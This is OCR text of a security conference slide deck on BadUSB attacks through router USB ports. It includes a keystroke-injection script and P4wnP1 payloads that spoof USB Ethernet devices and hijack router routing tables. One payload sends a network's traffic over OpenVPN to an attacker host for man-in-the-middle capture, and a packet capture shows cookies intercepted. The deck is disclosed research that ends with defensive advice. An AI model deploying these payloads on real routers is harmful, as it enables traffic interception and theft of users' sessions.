@tenable BadUSB in Routers



Before We Start

e Code

o https://github.com/tenable/router _badusb
e Slides

o https://github.com/tenable/router_badusb/slides.pdf
® Proof of concept videos

o https://www.youtube.com/watch?v=a0aB6hiHGiM

o https://www.youtube.com/watch?v=LvWo8fUaldo

o https://www.youtube.com/watch?v=3X7xrgan5Tk

O tenable
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albinolobster@ubuntu:~S whoami

Jacob Baines

Principal Research Engineer @ Tenable
Y @Junior_Baines

() jacob-baines
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What is BadUSB? Setting a Goal Tooling

Traditional Attacks Over = Routing Table Attack Man-in-the-Middle
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What is BadUSB?




What is BadUSB?

A Simplified Version

Hello, USB
device.
What are

IMMA
KEYBOARD
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What is BadUSB?

Practical Application: Keyboards

GUI r
DELAY 200
STRING cmd

Go ahead ENTER
DELAY 600
and Send STRING cd
$USERPROFILES
keystrokes ENTER

STRING ftp -i
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What is BadUSB?

Practical Application: Ethernet Device

e USB device acts like a router

® PoisonTap by Samy Kamkar

® Snagging creds from locked machines by
Rob “mubix” Fuller



https://samy.pl/poisontap/
https://room362.com/post/2016/snagging-creds-from-locked-machines/

Setting a Goal
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Setting a Goal

What are these USB ports for?

EPCElE - b

!

i = []L[JUU 7, s
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Setting a Goal
Gaining LAN Access

Can | join
the LAN,
please?

O tenable






Tooling

Raspberry Pi Zero

O tenable
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Tooling

Raspberry Pi Zero: Additional Accessories

ltem Price
Raspberry Pi Zero $5.00
| BadUsBBoard kit | s1188
""" 8GBMicrosD | $559
Total $22.47

O tenable



15

Tooling
Raspberry Pi Zero: Assembled

O tenable
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Tooling

Raspberry Pi Zero: Software

Raspbian Stretch
o Debian based OS for Raspberry Pi
P4wnP1
o https://github.com/mame82/P4wnP1
o Easy to use BadUSB Framework
o Intended for the Raspberry Pi

powered by

debian

O tenable


https://github.com/mame82/P4wnP1

17

Tooling
Not What We Are Going For
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Traditional
Attacks Over IP
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Traditional Attacks over IP
SOHO Routers with USB Printer Support

O tenable
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Traditional Attacks over IP
USB Printer Client Software

! TP-LINK USB Printer Controller
System Tools Help

= ] X

Configure Auto:
Server for Pri

Connect

rcher C8 v3-192.168.0.1
@ COMM - MatdeB2 - P4wnP1 by MaMe82

N} NETGEAR USB Control Center
System Tools About

~¢” RE250

*4wnP1 by Mahdel

Connect

Disconnect

Network Scanner

Use Device

&) USB Control Center = m] X
Tools Help
« Available Devices
=
Device Status Type Automatically Connect Server
= MaMe82 P4wnP1 by MaMe82 Mouse, Keyboard
&4 0 Available - double-click to use
Stop Using Properfies... Request Use

O tenable
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Traditional Attacks over IP

Not a Printer
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Traditional Attacks over IP
Wait What?

@ NETGEAR USB Control Center = O

System Tools About

------ « RE250

------- B Fslink - 202,11 n'WLAN vailable

Connect Disconnect Network Scanner

O tenable
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Traditional Attacks over IP

Connecting Works!?

 Devicl

Add a device Add a printer

v /4 & > Control Panel > Hardware and Sound > Devices and Printers >

Remove device

240~

es (9)

v @ | Search Devices and Printers

QQ\&#O

«

DESKTOP-R5U6P  Generic Non-PnP Microphone Speakers (High Virtual Bluetooth VMware Virtual VMware Virtual ~ VMware, VMware 802.11n USB
VD Monitor (High Definition  Definition Audio Adapter USB Mouse USB Video Device Virtual S SCSI Wireless LAN
Audio Device) Device) Disk Device Card
v Printers(7)
11‘,: NETGEAR USB Control Center e a X « 802.11n USB
System Tools About General | Hardware
c ¢ RB250
& Ralink - 80211 nWLAN Manually Connected by DESKTOP-RELIGPY 80211 USB Wireless LAN Card
EPSCS’ Device Functions:
el
Name Type
~ Unsp £57802.11n USB Wireless LAN Card Network ada...
Intel(|
Gigabi
Con) Device Function Summary
Manufacturer:  Ralink Technology, Comp.
Connect Disconnect Network Scannher Location: Location 0 (802.11 n WLAN)
Device status:  This device is working propery.
 Prpeties
| —_————
802.11n USB Wireless LAN Card  Model: 802.11 n WLAN oK | \ Cancel Apply
Category: Network infrastructure device

O tenable



Traditional Attacks over IP

...and | can get use it to connect to other Wifi Networks

Connection

Diagnose this connection Rename this connection

F 5
A & 5 Control Panel > Network and Internet > Network Connections
Organize v Connect To Disable this network device
- Bluetooth Network -~ Ethernet0
‘:'-' Network 3

A
X 9 Not connected :_“ Intel(R) 825

ed

Enab

4 cap Loopback Ac

l: " Npcap Loopback Adapter

o

Command Prompt

licrosoft Windows [Version 10.9.17134.590]
c) 2018 Microsoft Corporation. All rights reserved.

:\Users\albinolobster>ipconfig

lindows IP Configuration

thernet adapter Etherneto:

Connection-specific DNS Suffix
Link-local IPv6 Address

IPv4 Address.

Subnet Mask

Default Gateway

fe80::acfa:409f:5b6f:b086%25

[Yiiireless LAN adapter Wi-Fi:

Connection-specific DNS Suffix
Link-local IPv6 Address

IPv4 Address.

Subnet Mask

Default Gateway

thernet adapter Bluetooth Network Connection:

Media State e
Connection-specific DNS Suffix

C:\Users\albinolobster>

View status of this connection

[ Wi-Fi
\,‘. WeirdUSB
djﬂ] 802.11n USB Wireless LAN ...

»

westeros
fe80::b17f:4cff:8dad:943%14
192.168.1.75

255.255.255.0

192.168.1.1

Media disconnected

24
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Traditional Attacks over IP
Still Not a Printer

O)tenable
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Traditional Attacks over IP

This is Fine

== D 4
& = v N Fas > Control Panel » Hardware and Sound > Devices and Printers v Search Devices and Printers pel
Add a device Add a printer Remove device & - o
v Devices (9)
&) Untitled - 1 ‘ 2 ‘éﬁ
DESKTOP-R5U6P Genenc Non-PnP . il VMware Virtual ~ VMware, VMware ~ Wired Keyboard
D Monitor (t File Edit Format View Help | USBVideo Device  Virtual S SCSI
|10l Dick Nevica
o - \\ire
~ Printers (7)
2 General
X rol Center - O i
System Tools About gy VVired Keyboard 400
e HSZSU
e Device Information
EPSON Manuf: + Microsoft C:
Seri Model: Wired Keyboard 400
~ Unspei Model number:  Unavailable
Categories: Keyboard
Description: Combines Sleek Design with Exceptional Value
Device Tasks
Intel(R] G . o : . oz
Giaabi To view tasks for this device, right-click the icon for the device in
gabit 4 %
Devices and Printers.
Conn
Connect [ Disconnect Network Scanner
ok | [ Cancel | [ Aual

O tenable
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Traditional Attacks over IP
P4AwnP1 HID Attack: Router View

O tenable
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Traditional Attacks over IP
P4wnP1 HID Attack: Client View

N} NETGEAR USB Control Center — O
System Tools About

AAAAAA « RE250

MY HID - MaMeS2 - P4wnP1 by MaMeB2 4 vailablel

Connect Disconnect MNetwork Scanner

O tenable



29

Traditional Attacks over IP
P4wnP1 HID Attack: Client owned

System Tools About

-« RB250

| Untitled - Notepad = O X
File Edit Format View Help

As soon as NUMLOCK is pressed multiple times, P4wnP1
tries to open MSPaint with the following DuckyScript:
/home/pi/P4wnPl/DuckyScripts/mspaint.duck

This is followed by a script in P4wnPl's MouseScript language u
which could be found here:
/home/pi/P4wunPl/MouseScripts/test.mouse

The MouseScript file gives details on how to use MouseScript
and hints on advantages/disadvantages of the different ways
available to move the mouse

PoC Video: https://www.youtube.com/watch?v=aoaB6hiHGiM

[ HID - MaMeB2 - P4wnP1 by MaMe2 Manually Connected by DESKTOP-R5LEF

Network Scanner
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Routing Table
Attack
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Routing Table Attack
3G/4G Dongle Support




32

Routing Table Attack
ASUS RT-AC51U: Dual WAN Mode

Operation Mode: Wireless router Firmware Version: 3.0.04.380_8457
SSID: RT-ACS1U 14 2G RT-ACS1U 14 5G

Internet Dual Port Virtual Server / Port DMZ DDNS NAT
Connection WAN Trigger Forwarding Passthrough

WAN - Dual WAN

RT-AC51U provides Dual WAN support. Select Failover mode to use a secondary WAN for backup network access. Select Load
Balance mode to optimize bandwidth, maximize throughput, minimize response time, and prevent data overioad for both WAN
connections. Dual WAN FA

Basic Config

Enable Dual WAN ON
Primary WAN WAN
Secondary WAN USB

Load Balance ¥
Dual WAN Mode Load Balance optimizes resource and maximizes throughput, which provides better
performance for Primary and Secondary WAN with similar network speeds.

Load Balance Configuration 1 el |

Routing rules for Dual WAN

Enable Routing rules

Otenable
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Routing Table Attack
ASUS RT-AC51U with Raspberry Pi

O)tenable
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Routing Table Attack
ASUS RT-AC51U: Initial Payload

# USB VID & PID. See: http://www.linux-usb.org/usb.ids
USB_VID="0x1D6B" # Linux Foundation
USB_PID="0x0103" # NCM (Ethernet) Gadget

# Gadget features

USE_ECM=true # i1f true CDC ECM will be enabled
USE_RNDIS=true # 1f true RNDIS will be enabled
USE_HID=false # if true HID (keyboard) will be enabled
USE_RAWHID=false # if true HID raw device will be enabled
USE _UMS=false # if true USB Mass Storage will be enabled

# disable setting of static routes for all IPv4 addresses
ROUTE SPOOF=false

# Network and DHCP options for Ethernet over USB
IF IP="192.168.4.1"

IF MASK="255.255.255.252"

IF DHCP RANGE="192.168.4.2,192.168.4.2"

function onNetworkUp ()

{
route add default gw 192.168.4.2

O tenable
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Routing Table Attack
ASUS RT-AC51U: Raspberry Pi as the Secondary WAN

SSID: RT-ACS1U_14 2G RT-ACS1U_14_5G

Pri mary WAN: Seoond ry WAN:

SRy feeul e USBis the second WAN
e USB is a Raspberry Pi

WPA2-Personal &

MaMe82 P4wnPl1 by +

MaMe82 P4wnP1 by

View List




Routing Table Attack
ASUS RT-AC51U: Routing Table

General Log  Wireless Log DHCP leases IPv6 | Routing Table Port Forwarding Connections

System Log - Routing Table

This page shows the detailed routing status.

Destination Gateway Genmask Metric Ref Use Type Iface
192.168.1.1 x 259.255% 0 0 WANO® vlan2
239.255.255.250 * 0 0 LAN bro@
192.168.50. : : : 0 0

192.168.1. ] 0
default 192.168.1.1 0 0

WANO vlan2

0
0
© LAN bro
0
©@ WANO vlan2

2 B
Otenable



37

Routing Table Attack
ASUS RT-AC51U: Network Diagram

WAN 1
192.168.1.1
192.168.1.7
WAN 2 192.168.4.2

192.168.4.1

192.168.50.1

LAN

192.168.50.84

192.168.50.227

O tenable
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Routing Table Attack
ASUS RT-AC51U: LAN Access!

pi@MAME82-P4WNP1:~ $ ifconfig
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1 (Local Loopback)
RX packets 2 bytes 78 (78.0 B)
RX errors © dropped © overruns 0 frame 0
TX packets 2 bytes 78 (78.0 B)
TX errors © dropped 0 overruns @ carrier @ collisions ©

usb1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.4.1 netmask 255.255.255.252 broadcast 192.168.4.3
inet6 feB80::4063:65ff:fe65:4321 prefixlen 64 scopeid 0x20<link>
ether 42:63:65:65:43:21 txqueuelen 1000 (Ethernet)
RX packets 67 bytes 8793 (8.5 KiB)
RX errors © dropped 0 overruns 0 frame 0
TX packets 72 bytes 9591 (9.3 KiB)

TX errors © dropped 0 overruns @ carrier @ collisions 0

pi@MAME82-P4WNP1:~ & ping 192.168.50.84
192.168.50.84 (192.168.50.84) 56(84) bytes of data.
from 192.168.50.84: icmp_seq=1 ttl=127 time=1.81 ms
from 192.168.50.84: icmp_seq=2 ttl=127 time=1.63 ms
from 192.168.50.84: icmp_seq=3 ttl=127 time=2.36 ms

--- 192.168.50.84 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 1.630/1.935/2.360/0.311 ms
piL@MAME82-P4WNP1:~ $ ping 192.168.50.227
192.168.50.227 (192.168.50.227) 56(84) bytes of data.
from 192.168.50.227: icmp_seq=1 ttl=63 time=1.52 ms
from 192.168.50.227: icmp_seq=2 ttl=63 time=1.34 ms
from 192.168.50.227: icmp_seq=3 ttl=63 time=1.84 ms

'tenable
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Routing Table Attack
ASUS RT-AC51U: Identifying a Victim

PB Security BSides / Fron

Cc @ securitybsides.com B -9 a9
Security BSides

%‘ngES

[ Wiki ] Pages & Files

4@ If you are citizen of an European Union member nation, you may not use this service unless you are at least 16 years old.

‘@ Want help organizing your Dropbox or Google Drive? Try Dokkio, a new service from the creators of PBworks. Click here to
apply for the beta.

albinolobster@ubuntu: ~
view =L albinolobster@ubuntu:~$ dig securitybsides.com

FrontPage ; <<>> DiG 9.10.3-P4-Ubuntu <<>> securitybsides.com
;3 global options: +cmd
;3 Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 58644
Welcome t;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: O, ADDITIONAL: 0O

What is BSides? B30 Ias (]
Each BSides is a communiBaSalms 1R L S« L] IN
security community memi

A0 2 55 ANSWER SECTION:
e cqnfmes .Of securitybsides.com. 104.18.54.114
present and participate in

¥ i = securitybsides.com. 104.18.55.114
intense event with discuss
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Routing Table Attack
ASUS RT-AC51U: Another Payload

# disable setting of static routes for all IPv4 addresses

# Network and DHCP options for Ethernet over USB
IF IP="192.168.4.1"

IF MASK="255.255.255.252"

IF DHCP RANGE="192.168.4.2,192.168.4.2"

function onNetworkUp ()

{

# handle all http locally

route add default gw 192.168.4.2

# Serve up a simple index.html page

https://github.com/tenable/router_badusb/blob/master/asus bsides_routing table/pa

vloads/asus bsides routing table.txt

O tenable
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Routing Table Attack
ASUS RT-AC51U: Setting Static Routes (init_usb_ethernet.sh)

if SROUTE SPOOF; then
cat <<- EOF >> /tmp/dnsmasq usb eth.conf
# router
dhcp-option=3, $SIF IP

# DNS
dhcp-option=6,SIF IP

# NETBIOS NS

dhcp-option=44, $IF IP
dhcp-option=45, SIF IP

EOF

https://github.com/tenable/router badusb/blob/master/asus bsides routing

table/boot/init usb ethernet.sh

O tenable


https://github.com/tenable/router_badusb/blob/master/asus_bsides_routing_table/boot/init_usb_ethernet.sh
https://github.com/tenable/router_badusb/blob/master/asus_bsides_routing_table/boot/init_usb_ethernet.sh

Routing Table Attack
ASUS RT-AC51U: New Routing Table

Operation Mode: Wireless router Firmware Version: 3.0.0.4.380 8457
SSID: RT-AC51U 14 2G RT-AC51U _14 5G

General Log  Wireless Log DHCP leases IPv6 | Routing Table Port Forwarding Connections

System Log - Routing Table

This page shows the detailed routing status.

Destination Gateway Genmask Metric Ref Use
192.168.1.1 . 255.255.
1104.18.55.114 192.168.4.1 255.255.
1192.168.4.1 ' 255285
|104.18.54.114 192.168.4.1 255.255.
239.255.255.250 * 255.255.
192.168.4.0 B 255.255.
192.168.50.0 . 255.255.
192.168.1.0 . 255.255.
default 192.168.1.1 0.0.0.0

lolNoNoRoNoNoNoNo Nl
lclNoNoRoNoNoNoNo N
loNoNoRoNoNoNoNo RO

O tenable
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Routing Table Attack
ASUS RT-AC51U: Final Result

PB securitybsides.com/

C |G securitybsides.com

Q€ albinolobster@ubuntu: ~

albinolobster@ubuntu:~S$ curl -vv http://www.securitybsides.com/

*  Trying 104.18.55.114...

Connected to www.securitybsides.com (104.18.55.114) port 80 (#0)
GET / HTTP/1.1

Host: www.securitybsides.com

User-Agent: curl/7.47.0

Accept: */*

*

>
>
>
>
>
*

HTTP 1.0, assume close after body

HTTP/1.0 200 OK

Server: SimpleHTTP/0.6 Python/2.7.13

Date: Sun, 02 Dec 2018 07:34:47 GMT
Content-type: text/html

Content-Length: 39

Last-Modified: Sun, 02 Dec 2018 07:22:56 GMT

AANANANANA

<
<html><body><h3>lol</h3></body></html>
* Closing connection 0O
albinolobster@ubuntu:~$ l

PoC Video: https://www.youtube.com/watch?v=LvWo8fUaldo



https://www.youtube.com/watch?v=LvWo8fUaJdo

Man-in-the-Middle
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Man-in-the Middle

Spoiler Alert: BadUSB Works like a Dream Against MikroTik

Default configuration.

No weird routing issues.
LAN access.

WAN access.

Tested on the hAP.

Should work on a variety of
MikroTik products. Including
some rack mounted like the
RB3011 (pictured).

Otenable
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Man-in-the-Middle

MikroTik: A Routing Problem

WAN 1

l ]« |

192.168.1.1

((-r)
192.168.1.70

192.168.4.1

—

192.168.88.1

7

192.168.4.2

LAN

————— N

192.168.88.253

O tenable
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Man-in-the-Middle

MikroTik: Solving Routing Problems with OpenVPN

VPN Server

WAN 1

NN Pl

<« Y
>
1

8
8"
2
nN
i

192.168.1.64 /
192.168.1.1 10.200.0.1
92.1 68.1.70]’ o
-+ 1 192.168.88.1
& / 1olond

192.168.4.1

O tenable



Man-in-the-Middle

MikroTik: PAwnP1 Payload

# VID and PID stolen from a USB Ethernet Adapter # connect to the VPN at 192.168.1.64
USB_VID="0x1D6B" openvpn --ifconfig 10.200.0.2 10.200.0.1 --dev tun --auth
USB_PID="0x0237" none —--remote 192.168.1.64 --daemon
# Gadget features # rewrite the src ip
USE_ECM=true iptables -t nat -A POSTROUTING -j MASQUERADE
USE RNDIS=true
USE_HID=false # man in the middle most of the things
USE _RAWHID=false route add -net 0.0.0.0/5 gw 10.200.0.2
USE_UMS=false route add -net 8.0.0.0/7 gw 10.200.0.2
route add -net 11.0.0.0/8 gw 10.200.0.2
# add new entries to the router table route add -net 12.0.0.0/6 gw 10.200.0.2
ROUTE_SPOOF=true route add -net 16.0.0.0/4 gw 10.200.0.2
route add -net 32.0.0.0/3 gw 10.200.0.2
# assign self 192.168.4.1 and the router 192.168.4.2 route add -net 64.0.0.0/2 gw 10.200.0.2
IF IP="192.168.4.1" route add -net 128.0.0.0/2 gw 10.200.0.2
IF MASK="255.255.255.252" route add -net 193.0.0.0/8 gw 10.200.0.2
IF DHCP RANGE="192.168.4.2,192.168.4.2" route add -net 194.0.0.0/7 gw 10.200.0.2
route add -net 196.0.0.0/6 gw 10.200.0.2
function onNetworkUp () route add -net 200.0.0.0/5 gw 10.200.0.2
{ route add -net 208.0.0.0/4 gw 10.200.0.2
# everything eventually goes to route add -net 224.0.0.0/4 gw 10.200.0.2
route add default gw 192.168.4.2 route add -net 240.0.0.0/5 gw 10.200.0.2
route add -net 248.0.0.0/6 gw 10.200.0.2
# enable forwarding }
sysctl net.ipv4.ip forward=1l
49 https://github.com/tenable/router_badusb/blob/master/mikrotik_mitm/payloads/ @tenable‘

mikrotik mitm.txt



https://github.com/tenable/router_badusb/blob/master/mikrotik_mitm/payloads/mikrotik_mitm.txt
https://github.com/tenable/router_badusb/blob/master/mikrotik_mitm/payloads/mikrotik_mitm.txt
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Man-in-the-Middle

MikroTik: PAwnP1 Eth Configuration

if $ROUTE SPOOF; then
cat <<- EOF >> /tmp/dnsmasg usb eth.conf
# router
dhcp-option=3, $IF IP

dhcp-option=121,0.0.0.0/5,$IF IP,8.0.0.0/7,SIF IP,11.0.0.0/8,$IF IP,12.0.0.0/6,SIF IP,1
6.0.0.0/4,$IF IP,32.0.0.0/3,8IF IP,64.0.0.0/2,$IF IP,128.0.0.0/2,%IF IP,193.0.0.0/8,SI
_1P,194.0.0.0/7,$IF_1P,196.0.0.0/6,$IF_IP,200.0.0.0/5,$TF IP,208.0.0.0/4,$TF _TP,224.0.0
.0/4,$IF IP,240.0.0.0/5,$IF IP,248.0.0.0/6,$IF IP

EOF
else

https://github.com/tenable/router badusb/blob/master/mikrotik _mitm/
boot/init usb ethernet.sh

Otenable


https://github.com/tenable/router_badusb/blob/master/mikrotik_mitm/boot/init_usb_ethernet.sh
https://github.com/tenable/router_badusb/blob/master/mikrotik_mitm/boot/init_usb_ethernet.sh

Man-in-the-Middle

MikroTik: Plug It In

Interface || Interface List ]] Ethernet H EolP Tunnel H IP Tunnel H GRE Tunnel H VLAN H VRRP ]] Bonding H LTE ] Interface List

| AddNew ¥ || Detect internet |

8 items

4 Name Type Actual MTU L2MTU Tx Rx Tx Packet (pls) Rx Packet (p/s) FP Tx
.1, defconf
-|Db] R 4=t bridge Bridge 1500 1598 133.0 kbps 39.9 kbps 21 22 53.9 kbps
D R ¢i» etherl Ethernet 1500 1598 36.5 kbps 61.4 kbps 15 12 38.8 kbps
D] S ¢» ether2 Ethernet 1500 1598 0 bps 0 bps 0 0 bps
D S ¢}» ether3 Ethernet 1500 1598 0 bps 0 bps 0 0 0 bps
D] RS ¢» etherd Ethernet 1500 1598 132.5 kbps 38.5 kbps 20 19 133.4 kbps
D] S <i» ether thernet 1500 1598 0 bps 0 bps 0 0 0 bps
D] R < 4 ttel LTE > 1500 97.8 kbps 98.7 kbps 32 32 0 bps
ﬂ XS 4 wianl vireless (Atheros AR930\ 1500 1600 0 bps 0 bps 0 0 0 bps

51 Otenable
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Man-in-the-Middle

MikroTik: Routing Table

(| || | | D D |

DAS
DAS

DAS

' DAS
DAS
DAS

DAS
DAS

DAS

DAC

| DAC
DAC
DAS

DAS

DAS
DAS

DAS

'DAS
DAS

DAS

4 Dst. Address
| p 00005 ’
| p 00000
| p 80007
| p 110008
| p 120006
| p 160004
| p 320003
P 640002
| p 1280002
| p 192.168.1.024
| p 192.168.4.0/30
| p 192.168.88.0124 |
| p 1930008 |
| p 1940007
| p 1960006
P 2000005
| p 20800004
| p 2240004
| p 24000055
| p 2480006

Gateway
192.168.4.1 reachable ltel

192.168.1.1 reachable etherl

192.168.4.1 reachable ltel

. 192.168.4.1 reachable itel
192.168.4.1 reachable itel
192.168.4.1 reachable itel

192.168.4.1 reachable itel

|192.168.4.1 reachable fel
192.168.4.1 reachable ftel
etherl reachable

ltel reachable
bridge reachable

192.168.4.1 reachable itel

192.168.4.1 reachable itel

. 192.168.4.1 reachable ltel

192.168.4.1 reachable ltel

192.168.4.1 reachable ltel

192.168.4.1 reachable itel

| 192.168.4.1 reachable fe1

192.168.4.1 reachable itel

I
]
|

N RN NN NN RNNOOONNNNDNDNNDNGREN

Pref. Source

1192.168.1.70
192.168.4.2
192.168.88.1

O tenable
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Man-in-the-Middle

MikroTik: Tracing the MitM

albinolobster@ubuntu:~$ ifconfig ens
ens33 Link encap:Ethernet HWadd
inet addr:192.168.88.253

33
r 00:0c:29:15:4c:fc
Bcast:192.168.88.255

Mask:255.255.255.0

inet6 addr: fe80::86b5:8ddd:7c9a:ebf2/64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:895629 errors:0 dropped:® overruns:® frame:0
TX packets:482801 errors:0 dropped:® overruns:® carrier:0
collisions:0 txqueuelen:10

RX bytes:1123333282 (1.1 G

albinolobster@ubuntu:~S traceroute 8

00
B) TX bytes:60582960

.8.8.8 -m 4

(60.5 MB)

traceroute to 8.8.8.8 (8.8.8.8), 4 hops max, 60 byte packets
ms 1.814 ms 1.293 ms

ms 18.174 ms 18.028 ms
3 10.200.0.1 (10.200.0.1) 5.096 ms 5.314 ms 5.455 ms

1 router.lan (192.168.88.1) 1.964
2 192.168.4.1 (192.168.4.1) 1.107

4 filos_quantum_gateway.westeros (1
albinolobster@ubuntu:~

92.168.1.1) 6.978 ms

8.358 ms 8.295 ms




Man-in-the-Middle

MikroTik: Capturing on the VPN Box

Security BSides / FrontPage - Mozilla Firefox 1y § @) 12:50PM ¥ Activities Wireshark v Mon 09:50 @

o) :

MikroTik - Route Listat = X

c @

PB Security BSides / Fronti X

less Tools Help
- » =

Files View Go Capture Analyze Statistics Telephony Wirel

ma® X[ Qe=mEF EEEQaQaQE

securitybsides.com

75 16.088290823 104.18.54.114
112 16.464751633 104.18.54.114

10.200.0.2 45 HTTP/1.1 200 OK (application/json)
10.200.0.2 45 HTTP/1.1 200 OK (text/html)

Security BSides X
B$ [ [http [X] -] Expression... +
0
0 No. Time Source Destination Protocol Lengtt Info
SIDES 5 54 15.762115314  10.200.0.2 104.18.54.114 489 GET / HTTP/1.1
Wiki ) Pages & Files ; 59 16.048361775 104.18.54.114 10.200.0.2 HT 45 HTTP/1.1 303 See Other (text/html)
e ge: 69 16.077440946 10.200.0.2 104.18.54.114 527 GET /.well-known/http-opportunistic HTTP/|
+ 70 16.084907440 10.200.0.2 104.18.54.114 514 GET /w/page/12194156/FrontPage HTTP/1.1
\

It you are citizen of an European Union member nation, you may not use this service unless you are at least 16 years
old

1 0

Want help organizing your Dropbox or Google Drive? Try Dokkio, a new service from the creators of PBworks. Click
here to apply for the beta.

VIEW EDIT

Frame 54: 489 bytes on wire (3912 bits), 489 bytes captured (3912 bits) on interface 0 -
Raw packet data
Internet Protocol Version 4, Src: 10.200.0.2, Dst: 104.18.54.114
Transmission Control Protocol, Src Port: 49458, Dst Port: 80, Seq: 1, Ack: 1, Len: 449
. . . Py ertext Transfer Protocol
Welcome to the Security BSides Community Wiki ':ypesr / HTTP/1.1\r\n
Novigsor Host: www.securitybsides.com\rin
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:65.0) Gecko/20100101 Firefox/65.0\r\n

To join this workspace, request acc

FrontPage

Already have an account? Log in!

P

2 - BSidesAlgiers
What is BSides? ool Accept: text/mml,apsélcanug/ghtml‘xml,appl)catmn/xml;q:G‘Q, image/webp, */*;q=0.8\r\n
: ' : T Sides; an Accept-Language: en-US,en;q=0.5\r\n
Each BSides is a community-driven framework for building events for and by BdsaAmimar Acca
5 & . % pt-Encoding: gzip, deflate\r\n
information security community members. The goal is to expand the spectrum of BSidesAmsterdam Connection: keep-alive\r\n
conversation beyond the traditional confines of space and time. It creates » Cookie: _ cfduid=d9df7e349f2f16d3af22923ac650538cd1551909718; pbj=d4bb6ac6b360509181c059a7f0e5001551909719\r\n
BSidesArgentina Upgrade-Insecure-Requests: 1\r\n

opportunities for individuals to both present and participate in an intimate
atmosphere that encourages collaboration. It is an intense event with di ions, BSidesAshevill
demos. and interaction from particinants. It is where conversations for the next-bia-

S UNT bbb

PoC Video: https://voutu.be/3X7xrgan5Tk
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https://youtu.be/3X7xrgan5Tk
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Conclusions

Mozilla Firefox

PB securitybsides.com/ b+

C @ www.securitybsides.com SE AR «
BadUSB in routers is a thing. —

Disable unused USB ports.
Security BSides should probably
get an SSL certificate.




The End

Code

o https://github.com/tenable/router badusb

Slides

o https://github.com/tenable/router _badusb/slides.pdf
Proof of concept videos

o https://www.youtube.com/watch?v=aoaB6hiHGiM

o https://www.youtube.com/watch?v=LvWo8fUaldo

o https://www.youtube.com/watch?v=3X7xrgan5Tk

Y @Junior_Baines
() jacob-baines

St


https://github.com/tenable/router_badusb
https://github.com/tenable/router_badusb/slides.pdf
https://www.youtube.com/watch?v=aoaB6hiHGiM
https://www.youtube.com/watch?v=LvWo8fUaJdo
https://www.youtube.com/watch?v=3X7xrgan5Tk

